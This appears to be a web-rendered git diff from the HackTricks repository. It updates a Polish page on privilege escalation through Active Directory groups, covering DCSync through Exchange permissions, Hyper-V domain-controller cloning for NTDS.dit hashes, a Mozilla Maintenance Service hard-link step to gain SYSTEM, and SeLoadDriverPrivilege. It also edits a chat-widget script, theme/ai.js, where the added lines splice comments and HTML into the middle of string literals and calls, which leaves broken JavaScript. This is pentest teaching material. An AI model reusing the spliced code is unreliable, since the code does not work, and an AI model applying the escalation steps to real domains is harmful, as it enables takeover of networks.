| Ta grupa może modyfikować DACL na obiekcie domeny, potencjalnie przyznając uprawnienia DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę są szczegółowo opisane w repozytorium Exchange-AD-Privesc na GitHubie. | ||||
| Ta grupa może modyfikować DACLs obiektu domeny, co może skutkować przyznaniem uprawnień DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę zostały opisane szczegółowo w Exchange-AD-Privesc GitHub repo. | ||||
| ```bash | ||||
| # List members | ||||
| Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse | ||||
| ``` | ||||
| ## Hyper-V Administrators | ||||
| 
 | ||||
| Administratorzy Hyper-V mają pełny dostęp do Hyper-V, co może być wykorzystane do przejęcia kontroli nad wirtualizowanymi kontrolerami domeny. Obejmuje to klonowanie aktywnych kontrolerów domeny i wydobywanie haszy NTLM z pliku NTDS.dit. | ||||
| Hyper-V Administrators mają pełny dostęp do Hyper-V, który może zostać wykorzystany do przejęcia kontroli nad wirtualizowanymi Domain Controllers. Obejmuje to klonowanie działających DCs oraz wyodrębnianie hashy NTLM z pliku NTDS.dit. | ||||
| 
 | ||||
| ### Przykład wykorzystania | ||||
| ### Exploitation Example | ||||
| 
 | ||||
| Usługa konserwacyjna Mozilla Firefox może być wykorzystywana przez administratorów Hyper-V do wykonywania poleceń jako SYSTEM. Polega to na utworzeniu twardego linku do chronionego pliku SYSTEM i zastąpieniu go złośliwym plikiem wykonywalnym: | ||||
| Firefox's Mozilla Maintenance Service może być wykorzystana przez Hyper-V Administrators do wykonania poleceń jako SYSTEM. Polega to na utworzeniu hard linku do chronionego pliku SYSTEM i zastąpieniu go złośliwym plikiem wykonywalnym: | ||||
| ```bash | ||||
| # Take ownership and start the service | ||||
| takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe | ||||
| sc.exe start MozillaMaintenance | ||||
| ``` | ||||
| Note: Wykorzystanie twardych linków zostało złagodzone w ostatnich aktualizacjach systemu Windows. | ||||
| Uwaga: Hard link exploitation zostało złagodzone w ostatnich aktualizacjach Windows. | ||||
| 
 | ||||
| ## Zarządzanie Organizacją | ||||
| ## Group Policy Creators Owners | ||||
| 
 | ||||
| W środowiskach, w których zainstalowany jest **Microsoft Exchange**, specjalna grupa znana jako **Organization Management** ma znaczące uprawnienia. Grupa ta ma prawo do **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** i utrzymuje **pełną kontrolę nad jednostką organizacyjną 'Microsoft Exchange Security Groups'** (OU). Kontrola ta obejmuje grupę **`Exchange Windows Permissions`**, która może być wykorzystana do eskalacji uprawnień. | ||||
| Ta grupa pozwala członkom tworzyć Group Policies w domenie. Jednak jej członkowie nie mogą stosować Group Policies do użytkowników lub grup ani edytować istniejących GPOs. | ||||
| 
 | ||||
| ### Wykorzystanie Uprawnień i Komendy | ||||
| ## Organization Management | ||||
| 
 | ||||
| #### Operatorzy Drukarek | ||||
| W środowiskach, gdzie wdrożony jest **Microsoft Exchange**, specjalna grupa znana jako **Organization Management** ma istotne uprawnienia. Grupa ta ma przywilej **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** oraz posiada **pełną kontrolę nad jednostką organizacyjną (OU) 'Microsoft Exchange Security Groups'**. Ta kontrola obejmuje grupę **`Exchange Windows Permissions`**, którą można wykorzystać do eskalacji uprawnień. | ||||
| 
 | ||||
| Członkowie grupy **Print Operators** mają przyznane kilka uprawnień, w tym **`SeLoadDriverPrivilege`**, które pozwala im na **lokalne logowanie się do kontrolera domeny**, jego wyłączanie oraz zarządzanie drukarkami. Aby wykorzystać te uprawnienia, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczne w kontekście bez podwyższonych uprawnień, konieczne jest ominięcie Kontroli Konta Użytkownika (UAC). | ||||
| ### Wykorzystywanie uprawnień i polecenia | ||||
| 
 | ||||
| Aby wylistować członków tej grupy, używa się następującej komendy PowerShell: | ||||
| #### Print Operators | ||||
| 
 | ||||
| Członkowie grupy **Print Operators** posiadają kilka przywilejów, w tym **`SeLoadDriverPrivilege`**, który pozwala im **zalogować się lokalnie do Domain Controller**, wyłączyć go oraz zarządzać drukarkami. Aby wykorzystać te przywileje, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczny w niepodwyższonym kontekście, konieczne jest obejście User Account Control (UAC). | ||||
| 
 | ||||
| Aby wyświetlić członków tej grupy, użyj następującego polecenia PowerShell: | ||||
| ```bash | ||||
| Get-NetGroupMember -Identity "Print Operators" -Recurse | ||||
| ``` | ||||
| Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z **`SeLoadDriverPrivilege`**, należy skonsultować się z konkretnymi zasobami bezpieczeństwa. | ||||
| Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z **`SeLoadDriverPrivilege`**, należy zapoznać się ze specjalistycznymi źródłami dotyczącymi bezpieczeństwa. | ||||
| 
 | ||||
| #### Użytkownicy pulpitu zdalnego | ||||
| 
 | ||||
| Członkowie tej grupy mają dostęp do komputerów za pośrednictwem protokołu pulpitu zdalnego (RDP). Aby wylistować tych członków, dostępne są polecenia PowerShell: | ||||
| Członkom tej grupy przyznano dostęp do komputerów za pomocą Remote Desktop Protocol (RDP). Aby wyświetlić członków tej grupy, dostępne są polecenia PowerShell: | ||||
| ```bash | ||||
| Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse | ||||
| Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users" | ||||
| ``` | ||||
| Dalsze informacje na temat wykorzystywania RDP można znaleźć w dedykowanych zasobach pentestingowych. | ||||
| Dalsze informacje dotyczące exploiting RDP można znaleźć w dedykowanych pentesting resources. | ||||
| 
 | ||||
| #### Użytkownicy zdalnego zarządzania | ||||
| 
 | ||||
| Członkowie mogą uzyskiwać dostęp do komputerów za pomocą **Windows Remote Management (WinRM)**. Wykrywanie tych członków osiąga się poprzez: | ||||
| Członkowie mogą uzyskiwać dostęp do komputerów przez **Windows Remote Management (WinRM)**. Enumeracja tych członków jest przeprowadzana za pomocą: | ||||
| ```bash | ||||
| Get-NetGroupMember -Identity "Remote Management Users" -Recurse | ||||
| Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users" | ||||
| ``` | ||||
| Aby uzyskać informacje na temat technik eksploatacji związanych z **WinRM**, należy skonsultować się z odpowiednią dokumentacją. | ||||
| W przypadku technik eksploatacji związanych z **WinRM** należy zapoznać się z odpowiednią dokumentacją. | ||||
| 
 | ||||
| #### Operatorzy serwera | ||||
| 
 | ||||
| Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia kopii zapasowych i przywracania, zmiany czasu systemowego oraz wyłączania systemu. Aby wylistować członków, użyj podanego polecenia: | ||||
| Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia i przywracania kopii zapasowych, zmiany czasu systemowego oraz wyłączania systemu. Aby wyenumerować członków, użyj podanego polecenia: | ||||
| ```bash | ||||
| Get-NetGroupMember -Identity "Server Operators" -Recurse | ||||
| ``` | ||||
| ## References <a href="#references" id="references"></a> | ||||
| ## Źródła <a href="#references" id="references"></a> | ||||
| 
 | ||||
| - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) | ||||
| - [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) | ||||
| @ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse | ||||
| - [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) | ||||
| - [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) | ||||
| - [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) | ||||
| - [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) | ||||
| 
 | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
							
								
								
									
										60
									
								
								theme/ai.js
									
									
									
									
									
								
							
							
						
						
									
										60
									
								
								theme/ai.js
									
									
									
									
									
								
							| @ -5,7 +5,10 @@ | ||||
| 
 | ||||
| (() => { | ||||
|   const KEY = 'htSummerDiscountsDismissed'; | ||||
|   const IMG = '/images/discount.jpeg'; | ||||
|   const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar | ||||
|  * --------------------------------------------------- | ||||
|  * ❶ Markdown rendering + sanitised (same as before) | ||||
|  * ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg'; | ||||
|   const TXT = 'Click here for HT Summer Discounts, Last Days!'; | ||||
|   const URL = 'https://training.hacktricks.xyz'; | ||||
| 
 | ||||
| @ -13,7 +16,20 @@ | ||||
|   if (localStorage.getItem(KEY) === 'true') return; | ||||
| 
 | ||||
|   // Quick helper
 | ||||
|   const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); | ||||
|   const $ = (tag, css = '') => Object.assign(document.cr    p.innerHTML = ` | ||||
|       <div id="ht-ai-header"> | ||||
|         <strong>HackTricks AI Chat</strong> | ||||
|         <span style="font-size:11px;opacity:0.6;margin-left:8px;">↔ Drag edge to resize</span> | ||||
|         <div class="ht-actions"> | ||||
|           <button id="ht-ai-reset" title="Reset">↺</button> | ||||
|           <span id="ht-ai-close" title="Close">✖</span> | ||||
|         </div> | ||||
|       </div> | ||||
|       <div id="ht-ai-chat"></div> | ||||
|       <div id="ht-ai-input"> | ||||
|         <textarea id="ht-ai-question" placeholder="Type your question…"></textarea> | ||||
|         <button id="ht-ai-send">Send</button> | ||||
|       </div>`;tag), { style: css }); | ||||
| 
 | ||||
|   // --- Overlay (blur + dim) ---
 | ||||
|   const overlay = $('div', ` | ||||
| @ -111,7 +127,7 @@ | ||||
|   const MAX_CONTEXT  = 3000;   // highlighted‑text char limit
 | ||||
|   const MAX_QUESTION = 500;    // question char limit
 | ||||
|   const MIN_W        = 250;    // ← resize limits →
 | ||||
|   const MAX_W        = 600; | ||||
|   const MAX_W        = 800; | ||||
|   const DEF_W        = 350;    // default width (if nothing saved)
 | ||||
|   const TOOLTIP_TEXT = | ||||
|     "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; | ||||
| @ -345,8 +361,9 @@ | ||||
| #ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} | ||||
| #ht-ai-panel.open{transform:translateX(0)} | ||||
| @media(max-width:768px){#ht-ai-panel{display:none}} | ||||
| #ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} | ||||
| #ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} | ||||
| #ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap} | ||||
| #ht-ai-header strong{flex-shrink:0} | ||||
| #ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto} | ||||
| #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} | ||||
| #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} | ||||
| #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} | ||||
| @ -367,8 +384,10 @@ | ||||
| ::selection{background:#ffeb3b;color:#000} | ||||
| ::-moz-selection{background:#ffeb3b;color:#000} | ||||
| /* NEW: resizer handle */ | ||||
| #ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent} | ||||
| #ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
 | ||||
| #ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease} | ||||
| #ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)} | ||||
| #ht-ai-resizer:active{background:rgba(255,255,255,.25)} | ||||
| #ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
 | ||||
|     const s = document.createElement("style"); | ||||
|     s.id = "ht-ai-style"; | ||||
|     s.textContent = css; | ||||
| @ -432,24 +451,43 @@ | ||||
| 
 | ||||
|     const onMove = (e) => { | ||||
|       if (!dragging) return; | ||||
|       const dx = startX - e.clientX;           // dragging leftwards ⇒ +dx
 | ||||
|       e.preventDefault(); | ||||
|       const clientX = e.clientX || (e.touches && e.touches[0].clientX); | ||||
|       const dx = startX - clientX;           // dragging leftwards ⇒ +dx
 | ||||
|       let newW = startW + dx; | ||||
|       newW = Math.min(Math.max(newW, MIN_W), MAX_W); | ||||
|       panel.style.width = newW + "px"; | ||||
|     }; | ||||
| 
 | ||||
|     const onUp = () => { | ||||
|       if (!dragging) return; | ||||
|       dragging = false; | ||||
|       handle.style.background = ""; | ||||
|       document.body.style.userSelect = ""; | ||||
|       document.body.style.cursor = ""; | ||||
|       localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10)); | ||||
|       document.removeEventListener("mousemove", onMove); | ||||
|       document.removeEventListener("mouseup", onUp); | ||||
|       document.removeEventListener("touchmove", onMove); | ||||
|       document.removeEventListener("touchend", onUp); | ||||
|     }; | ||||
|     handle.addEventListener("mousedown", (e) => { | ||||
| 
 | ||||
|     const onStart = (e) => { | ||||
|       e.preventDefault(); | ||||
|       dragging = true; | ||||
|       startX = e.clientX; | ||||
|       startX = e.clientX || (e.touches && e.touches[0].clientX); | ||||
|       startW = parseInt(window.getComputedStyle(panel).width, 10); | ||||
|       handle.style.background = "rgba(255,255,255,.25)"; | ||||
|       document.body.style.userSelect = "none"; | ||||
|       document.body.style.cursor = "ew-resize"; | ||||
|        | ||||
|       document.addEventListener("mousemove", onMove); | ||||
|       document.addEventListener("mouseup", onUp); | ||||
|     }); | ||||
|       document.addEventListener("touchmove", onMove, { passive: false }); | ||||
|       document.addEventListener("touchend", onUp); | ||||
|     }; | ||||
| 
 | ||||
|     handle.addEventListener("mousedown", onStart); | ||||
|     handle.addEventListener("touchstart", onStart, { passive: false }); | ||||
|   } | ||||
| })(); | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user